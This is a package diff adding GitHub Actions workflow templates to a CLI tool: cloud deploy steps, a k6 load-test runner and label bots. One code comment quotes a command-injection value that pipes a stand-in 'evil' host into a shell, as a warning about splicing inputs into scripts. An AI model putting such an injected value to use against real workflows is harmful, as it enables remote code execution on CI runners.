@getarbiter/cli 0.5.0

package/dist/templates/github/workflows/_deploy/aws-ecs.ejs

@@ -0,0 +1,78 @@
+      - name: Configure AWS credentials (OIDC)
+        uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502  # v4
+        with:
+          role-to-assume: ${{ vars.AWS_DEPLOY_ROLE_ARN }}
+          aws-region: ${{ vars.AWS_REGION || 'us-east-1' }}
+
+      - name: Guard — AWS deploy vars
+        env:
+          AWS_DEPLOY_ROLE_ARN: ${{ vars.AWS_DEPLOY_ROLE_ARN }}
+          ECR_REGISTRY: ${{ vars.ECR_REGISTRY }}
+          ECS_CLUSTER: ${{ vars.ECS_CLUSTER }}
+          ECS_SERVICE: ${{ vars.ECS_SERVICE }}
+        run: |
+          set -euo pipefail
+          for VAR in AWS_DEPLOY_ROLE_ARN ECR_REGISTRY ECS_CLUSTER ECS_SERVICE; do
+            VALUE="${!VAR:-PLACEHOLDER-unset}"
+            if grep -qi 'PLACEHOLDER-' <<< "${VALUE}"; then
+              echo "::error::${VAR} contains PLACEHOLDER- — configure the variable before enabling deploy"
+              exit 1
+            fi
+          done
+
+      - name: ECR login
+        env:
+          ECR_REGISTRY: ${{ vars.ECR_REGISTRY }}
+        run: |
+          set -euo pipefail
+          aws ecr get-login-password --region "${AWS_DEFAULT_REGION}" \
+            | docker login --username AWS --password-stdin "${ECR_REGISTRY}"
+
+<%- include('../_partials/macos-keychain-bypass.ejs') %>
+
+      - name: Deploy — ECS update-service
+        env:
+          ECR_REGISTRY: ${{ vars.ECR_REGISTRY }}
+          ECR_REPOSITORY: ${{ vars.ECR_REPOSITORY || 'app' }}
+          ECS_CLUSTER: ${{ vars.ECS_CLUSTER }}
+          ECS_SERVICE: ${{ vars.ECS_SERVICE }}
+          ECS_TASK_DEFINITION: ${{ vars.ECS_TASK_DEFINITION || '' }}
+        run: |
+          set -euo pipefail
+          # IMAGE_TAG set by cosign-copy partial ($GITHUB_ENV); required for PROD deploys
+          if [ -z "${IMAGE_TAG:-}" ]; then
+            echo "::error::IMAGE_TAG is not set — the cosign-copy step must export IMAGE_TAG before deploy"
+            exit 1
+          fi
+          if [ -z "${ECS_TASK_DEFINITION}" ]; then
+            echo "::error::ECS_TASK_DEFINITION is not set — set vars.ECS_TASK_DEFINITION to your task family name"
+            exit 1
+          fi
+          # Register new task definition revision with updated image
+          NEW_TD=$(aws ecs describe-task-definition \
+            --task-definition "${ECS_TASK_DEFINITION}" \
+            --query 'taskDefinition' --output json \
+            | jq --arg IMAGE "${IMAGE_TAG}" \
+              '.containerDefinitions[0].image = $IMAGE | del(.taskDefinitionArn,.revision,.status,.requiresAttributes,.compatibilities,.registeredAt,.registeredBy)')
+          REGISTERED=$(aws ecs register-task-definition \
+            --cli-input-json "${NEW_TD}" \
+            --query 'taskDefinition.taskDefinitionArn' --output text)
+          aws ecs update-service \
+            --cluster "${ECS_CLUSTER}" \
+            --service "${ECS_SERVICE}" \
+            --task-definition "${REGISTERED}" \
+            --force-new-deployment
+
+<%- include('../_partials/macos-keychain-restore.ejs') %>
+
+      - name: Wait for ECS service stability
+        env:
+          ECS_CLUSTER: ${{ vars.ECS_CLUSTER }}
+          ECS_SERVICE: ${{ vars.ECS_SERVICE }}
+        run: |
+          set -euo pipefail
+          echo "::notice::Waiting for ECS service to stabilise (timeout: 10 min)..."
+          aws ecs wait services-stable \
+            --cluster "${ECS_CLUSTER}" \
+            --services "${ECS_SERVICE}"
+          echo "::notice::ECS service is stable."

package/dist/templates/github/workflows/_deploy/azure-container-app.ejs

@@ -0,0 +1,59 @@
+      - name: Azure login
+        uses: azure/login@a457da9ea143d694b1fa9c8f8b1b5ab5a6ab08be  # v2
+        with:
+          creds: ${{ secrets.AZURE_CREDENTIALS }}
+
+      - name: ACR login
+        env:
+          ACR_LOGIN_SERVER: ${{ vars.ACR_LOGIN_SERVER }}
+        run: |
+          set -euo pipefail
+          if grep -qi 'PLACEHOLDER-' <<< "${ACR_LOGIN_SERVER:-PLACEHOLDER-unset}"; then
+            echo "::error::ACR_LOGIN_SERVER contains PLACEHOLDER- — configure the variable before enabling deploy"
+            exit 1
+          fi
+          az acr login --name "${ACR_LOGIN_SERVER%%.*}"
+
+      - name: Deploy — Azure Container App
+        env:
+          AZURE_RESOURCE_GROUP: ${{ vars.AZURE_RESOURCE_GROUP }}
+          AZURE_CONTAINER_APP_NAME: ${{ vars.AZURE_CONTAINER_APP_NAME }}
+        run: |
+          set -euo pipefail
+          if grep -qi 'PLACEHOLDER-' <<< "${AZURE_CONTAINER_APP_NAME:-PLACEHOLDER-unset}"; then
+            echo "::error::AZURE_CONTAINER_APP_NAME contains PLACEHOLDER- — configure the variable before enabling deploy"
+            exit 1
+          fi
+          # IMAGE_TAG set by cosign-copy partial ($GITHUB_ENV); required for PROD deploys
+          if [ -z "${IMAGE_TAG:-}" ]; then
+            echo "::error::IMAGE_TAG is not set — the cosign-copy step must export IMAGE_TAG before deploy"
+            exit 1
+          fi
+          az containerapp update \
+            --name "${AZURE_CONTAINER_APP_NAME}" \
+            --resource-group "${AZURE_RESOURCE_GROUP}" \
+            --image "${IMAGE_TAG}"
+
+      - name: Wait for revision readiness (Azure Container App)
+        env:
+          AZURE_RESOURCE_GROUP: ${{ vars.AZURE_RESOURCE_GROUP }}
+          AZURE_CONTAINER_APP_NAME: ${{ vars.AZURE_CONTAINER_APP_NAME }}
+        run: |
+          set -euo pipefail
+          for i in $(seq 1 60); do
+            READY=$(az containerapp show \
+              --name "${AZURE_CONTAINER_APP_NAME}" \
+              --resource-group "${AZURE_RESOURCE_GROUP}" \
+              --query "properties.latestReadyRevisionName" -o tsv) || {
+              echo "::error::az containerapp show failed — check app name and resource group"
+              exit 1
+            }
+            if [ -n "${READY}" ]; then
+              echo "::notice::Revision ready: ${READY}"
+              exit 0
+            fi
+            echo "Waiting for revision readiness... attempt ${i}/60"
+            sleep 5
+          done
+          echo "::error::Timed out waiting for Azure Container App revision to become ready"
+          exit 1

package/dist/templates/github/workflows/_deploy/gcp-cloud-run.ejs

@@ -0,0 +1,71 @@
+      - name: Google auth (Workload Identity Federation)
+        uses: google-github-actions/auth@c200f3691d83b41bf9bbd8638997a462592937ed  # v2
+        with:
+          workload_identity_provider: ${{ vars.GCP_WORKLOAD_IDENTITY_PROVIDER }}
+          service_account: ${{ vars.GCP_SERVICE_ACCOUNT }}
+
+      - name: Guard — GCP deploy vars
+        env:
+          GCP_WORKLOAD_IDENTITY_PROVIDER: ${{ vars.GCP_WORKLOAD_IDENTITY_PROVIDER }}
+          GCP_SERVICE_ACCOUNT: ${{ vars.GCP_SERVICE_ACCOUNT }}
+          GAR_LOCATION: ${{ vars.GAR_LOCATION }}
+          GCP_PROJECT_ID: ${{ vars.GCP_PROJECT_ID }}
+          CLOUD_RUN_SERVICE: ${{ vars.CLOUD_RUN_SERVICE }}
+          CLOUD_RUN_REGION: ${{ vars.CLOUD_RUN_REGION }}
+        run: |
+          set -euo pipefail
+          for VAR in GCP_WORKLOAD_IDENTITY_PROVIDER GCP_SERVICE_ACCOUNT GAR_LOCATION GCP_PROJECT_ID CLOUD_RUN_SERVICE CLOUD_RUN_REGION; do
+            VALUE="${!VAR:-PLACEHOLDER-unset}"
+            if grep -qi 'PLACEHOLDER-' <<< "${VALUE}"; then
+              echo "::error::${VAR} contains PLACEHOLDER- — configure the variable before enabling deploy"
+              exit 1
+            fi
+          done
+
+      - name: Configure Docker for GAR
+        env:
+          GAR_LOCATION: ${{ vars.GAR_LOCATION }}
+        run: gcloud auth configure-docker "${GAR_LOCATION}-docker.pkg.dev" --quiet
+
+<%- include('../_partials/macos-keychain-bypass.ejs') %>
+
+      - name: Deploy — Cloud Run update
+        env:
+          CLOUD_RUN_SERVICE: ${{ vars.CLOUD_RUN_SERVICE }}
+          CLOUD_RUN_REGION: ${{ vars.CLOUD_RUN_REGION }}
+        run: |
+          set -euo pipefail
+          # IMAGE_TAG set by cosign-copy partial ($GITHUB_ENV); required for PROD deploys
+          if [ -z "${IMAGE_TAG:-}" ]; then
+            echo "::error::IMAGE_TAG is not set — the cosign-copy step must export IMAGE_TAG before deploy"
+            exit 1
+          fi
+          gcloud run services update "${CLOUD_RUN_SERVICE}" \
+            --image "${IMAGE_TAG}" \
+            --region "${CLOUD_RUN_REGION}" \
+            --quiet
+
+<%- include('../_partials/macos-keychain-restore.ejs') %>
+
+      - name: Wait for Cloud Run revision readiness
+        env:
+          CLOUD_RUN_SERVICE: ${{ vars.CLOUD_RUN_SERVICE }}
+          CLOUD_RUN_REGION: ${{ vars.CLOUD_RUN_REGION }}
+        run: |
+          set -euo pipefail
+          for i in $(seq 1 60); do
+            STATUS=$(gcloud run services describe "${CLOUD_RUN_SERVICE}" \
+              --region "${CLOUD_RUN_REGION}" \
+              --format 'value(status.conditions[0].status)') || {
+              echo "::error::gcloud run services describe failed — check service name and region"
+              exit 1
+            }
+            if [ "${STATUS}" = "True" ]; then
+              echo "::notice::Cloud Run service is ready."
+              exit 0
+            fi
+            echo "Waiting for Cloud Run readiness... attempt ${i}/60 (status: ${STATUS:-unknown})"
+            sleep 5
+          done
+          echo "::error::Timed out waiting for Cloud Run service to become ready"
+          exit 1

package/dist/templates/github/workflows/_deploy/ghcr.ejs

@@ -0,0 +1,19 @@
+      - name: Deploy — GHCR (customize infra/deploy.sh)
+        run: |
+          set -euo pipefail
+          # IMAGE_TAG set by cosign-copy partial ($GITHUB_ENV); required for PROD deploys
+          if [ -z "${IMAGE_TAG:-}" ]; then
+            echo "::error::IMAGE_TAG is not set — the cosign-copy step must export IMAGE_TAG before deploy"
+            exit 1
+          fi
+          echo "::notice::Image at GHCR — ref=${IMAGE_TAG}"
+          # Customize infra/deploy.sh for your runtime:
+          #   k8s:       kubectl set image deployment/app app="${IMAGE_TAG}"
+          #   ECS:       aws ecs update-service --force-new-deployment --cluster CLUSTER --service SERVICE
+          #   Cloud Run: gcloud run services update SERVICE --image "${IMAGE_TAG}"
+          if [ -f infra/deploy.sh ]; then
+            bash infra/deploy.sh "${IMAGE_TAG}"
+          else
+            echo "::notice::infra/deploy.sh not found — skipping platform deploy (SCAFFOLD)"
+            echo "Copy infra/deploy.sh.template to infra/deploy.sh and implement your deploy command"
+          fi

package/dist/templates/github/workflows/_deploy/nas-compose.ejs

@@ -0,0 +1,45 @@
+      - name: Guard — NAS deploy secrets
+        env:
+          NAS_SSH_HOST: ${{ secrets.NAS_SSH_HOST }}
+          NAS_SSH_USER: ${{ secrets.NAS_SSH_USER }}
+          NAS_SSH_KEY: ${{ secrets.NAS_SSH_KEY }}
+          NAS_SSH_KNOWN_HOSTS: ${{ secrets.NAS_SSH_KNOWN_HOSTS }}
+          NAS_SUDO_PASS: ${{ secrets.NAS_SUDO_PASS }}
+        run: |
+          set -euo pipefail
+          for VAR in NAS_SSH_HOST NAS_SSH_USER NAS_SSH_KEY NAS_SSH_KNOWN_HOSTS NAS_SUDO_PASS; do
+            if [ -z "${!VAR:-}" ]; then
+              echo "::error::secrets.${VAR} is not set — configure it before enabling nas-compose deploy"
+              exit 1
+            fi
+          done
+
+      - name: NAS SSH setup
+        uses: ./.github/actions/nas-ssh
+        with:
+          key: ${{ secrets.NAS_SSH_KEY }}
+          known-hosts: ${{ secrets.NAS_SSH_KNOWN_HOSTS }}
+          host: ${{ secrets.NAS_SSH_HOST }}
+          user: ${{ secrets.NAS_SSH_USER }}
+          port: ${{ vars.NAS_SSH_PORT || '5022' }}
+
+      - name: Deploy — NAS compose (pull-by-digest + docker-compose lifecycle)
+        env:
+          NAS_ROOT: ${{ vars.NAS_ROOT || '/volume1/docker/app' }}
+          SERVICES: ${{ vars.NAS_SERVICES || '' }}
+          HEALTH_TIMEOUT_S: ${{ vars.NAS_HEALTH_TIMEOUT_S || '90' }}
+          BACKUP_CMD: ${{ vars.NAS_BACKUP_CMD || '' }}
+          NAS_SUDO_PASS: ${{ secrets.NAS_SUDO_PASS }}
+        run: |
+          set -euo pipefail
+          # IMAGE_TAG set by the cosign-copy partial ($GITHUB_ENV); required for PROD deploys
+          if [ -z "${IMAGE_TAG:-}" ]; then
+            echo "::error::IMAGE_TAG is not set — the cosign-copy step must export IMAGE_TAG before deploy"
+            exit 1
+          fi
+          if [ -f infra/nas-compose/deploy.sh ]; then
+            bash infra/nas-compose/deploy.sh "${IMAGE_TAG}"
+          else
+            echo "::error::infra/nas-compose/deploy.sh not found — run 'arbiter init'/'arbiter update' with deployTarget=nas-compose to scaffold it"
+            exit 1
+          fi

package/dist/templates/github/workflows/_k6-runner.yml.ejs

@@ -0,0 +1,107 @@
+name: k6 Runner (reusable)
+
+on:
+  workflow_call:
+    inputs:
+      scenario:
+        description: 'Scenario name (file under perf/k6/scenarios/ without .js). Empty = all.'
+        required: false
+        default: ''
+        type: string
+      target_url:
+        description: 'Base URL of the service under test'
+        required: false
+        default: 'http://localhost:8080'
+        type: string
+      vus:
+        description: 'Override virtual users'
+        required: false
+        default: ''
+        type: string
+      duration:
+        description: 'Override duration (e.g. 30s, 5m)'
+        required: false
+        default: ''
+        type: string
+
+permissions:
+  contents: read
+
+jobs:
+  run-k6:
+    name: Run k6 scenarios
+    runs-on: ${{ fromJSON(vars.RUNNER_LABELS_TEST || '["ubuntu-latest"]') }}
+    steps:
+      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
+
+      - name: Install k6
+        run: |
+          sudo gpg -k
+          sudo gpg --no-default-keyring \
+            --keyring /usr/share/keyrings/k6-archive-keyring.gpg \
+            --keyserver hkp://keyserver.ubuntu.com:80 \
+            --recv-keys C5AD17C747E3415A3642D57D77C6C491D6AC1D69
+          echo "deb [signed-by=/usr/share/keyrings/k6-archive-keyring.gpg] https://dl.k6.io/deb stable main" \
+            | sudo tee /etc/apt/sources.list.d/k6.list
+          sudo apt-get update
+          sudo apt-get install -y k6
+
+      - name: Validate k6 scenarios
+        run: node scripts/validate-k6-scenarios.mjs
+
+      - name: Set environment variables
+        # #1660: forward workflow_dispatch inputs via env: — never interpolate
+        # ${{ inputs.* }} straight into a run: body. GitHub substitutes the value into
+        # the script text before the shell parses it, so a value like `foo";curl evil|sh;"`
+        # would execute. This mirrors the env-indirection rule already documented in
+        # issue-state.yml.ejs / _notify.yml.ejs (the runner reads "$VAR", not the splice).
+        env:
+          TARGET_URL: ${{ inputs.target_url }}
+          VUS: ${{ inputs.vus }}
+          DURATION: ${{ inputs.duration }}
+        run: |
+          echo "K6_BASE_URL=$TARGET_URL" >> "$GITHUB_ENV"
+          if [ -n "$VUS" ]; then
+            echo "K6_VUS=$VUS" >> "$GITHUB_ENV"
+          fi
+          if [ -n "$DURATION" ]; then
+            echo "K6_DURATION=$DURATION" >> "$GITHUB_ENV"
+          fi
+
+      - name: Run scenario(s)
+        # #1660: scenario name reaches the shell as an env var, not spliced text.
+        env:
+          SCENARIO: ${{ inputs.scenario }}
+        run: |
+          SCENARIOS_DIR="perf/k6/scenarios"
+          if [ -n "$SCENARIO" ]; then
+            echo "Running single scenario: $SCENARIO"
+            k6 run "$SCENARIOS_DIR/${SCENARIO}.js" \
+              --out json=perf/k6/results/k6-results.json \
+              --summary-export=perf/k6/results/k6-summary.json
+          else
+            echo "Running all scenarios"
+            mkdir -p perf/k6/results
+            for f in "$SCENARIOS_DIR"/*.js; do
+              name=$(basename "$f" .js)
+              echo "--- Running: $name ---"
+              k6 run "$f" \
+                --out json="perf/k6/results/k6-${name}.json" \
+                --summary-export="perf/k6/results/k6-${name}-summary.json" \
+                || true
+            done
+          fi
+
+      - name: Generate HTML report
+        if: always()
+        run: |
+          pip install --quiet jinja2 2>/dev/null || true
+          python perf/k6/reports/html-report.py || true
+
+      - name: Upload k6 results
+        if: always()
+        uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
+        with:
+          name: k6-results-${{ github.run_id }}
+          path: perf/k6/results/
+          retention-days: 30

package/dist/templates/github/workflows/_label-on-approve.yml.ejs

@@ -0,0 +1,44 @@
+name: Label on approve (bot)
+
+# Apply approved-by-human label when a human reviewer approves a PR.
+# Idempotent: gh pr edit --add-label is a no-op if label already present.
+# Generated by arbiter (INV-91, #884).
+
+on:
+  pull_request_review:
+    types: [submitted]
+
+permissions:
+  contents: read
+
+jobs:
+  apply-label:
+    name: Apply approved-by-human label
+    if: >-
+      github.event.review.state == 'approved' &&
+      github.event.review.user.login != github.event.pull_request.user.login &&
+      github.event.review.user.type != 'Bot'
+    runs-on: ${{ fromJSON(vars.RUNNER_LABELS_TEST || '["ubuntu-latest"]') }}
+    permissions:
+      pull-requests: write
+    steps:
+      - name: Ensure approved-by-human label exists in repo
+        env:
+          GH_TOKEN: ${{ github.token }}
+          GH_REPO: ${{ github.repository }}
+        run: |
+          gh label create approved-by-human \
+            --description "PR approved by a human reviewer" \
+            --color "0e8a16" \
+            --repo "$GH_REPO" \
+            --force
+
+      - name: Apply approved-by-human label (idempotent)
+        env:
+          GH_TOKEN: ${{ github.token }}
+          GH_REPO: ${{ github.repository }}
+          PR_NUMBER: ${{ github.event.pull_request.number }}
+        run: |
+          gh pr edit "$PR_NUMBER" \
+            --add-label approved-by-human \
+            --repo "$GH_REPO"

package/dist/templates/github/workflows/_label-sync.yml.ejs

@@ -0,0 +1,58 @@
+name: Label sync (bot)
+
+on:
+  push:
+    branches: [main]
+    paths:
+      - .github/labels.yml
+
+# Only the latest labels.yml on main matters — supersede older in-flight syncs.
+concurrency:
+  group: label-sync-${{ github.ref }}
+  cancel-in-progress: true
+
+# contents: read is required by the checkout in the sync job below — an explicit
+# permissions block without it means contents: none, which fails "Repository not
+# found" on a private repo (#1865).
+permissions:
+  contents: read
+  issues: write
+
+jobs:
+  sync:
+    name: Sync repository labels
+    # Opt-out: a repo that manages its own labels manually (e.g. the framework
+    # source repo with its own taxonomy) sets the DISABLE_LABEL_SYNC variable to
+    # 'true' so labels.yml is NOT applied to that repo's live label set (#1131).
+    if: ${{ vars.DISABLE_LABEL_SYNC != 'true' }}
+    runs-on: ${{ fromJSON(vars.RUNNER_LABELS_TEST || '["ubuntu-latest"]') }}
+    steps:
+      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
+      - name: Sync labels from .github/labels.yml
+        env:
+          GH_TOKEN: ${{ github.token }}
+          GH_REPO: ${{ github.repository }}
+        run: |
+          python3 - <<'PYEOF2'
+          import subprocess, os, yaml
+          with open('.github/labels.yml') as f:
+              data = yaml.safe_load(f)
+          for label in data.get('labels', []):
+              name = str(label['name'])
+              color = str(label.get('color', 'ededed'))
+              desc = str(label.get('description', ''))
+              result = subprocess.run(
+                  ['gh', 'label', 'create', name,
+                   '--color', color,
+                   '--description', desc,
+                   '--repo', os.environ['GH_REPO'],
+                   '--force'],
+                  check=False,
+                  capture_output=True,
+                  text=True)
+              if result.returncode != 0:
+                  import sys
+                  sys.stderr.write(f'[label-sync] ERROR: gh label create "{name}" failed (exit {result.returncode}): {result.stderr.strip()}\n')
+                  sys.exit(result.returncode)
+          print('Label sync complete.')
+          PYEOF2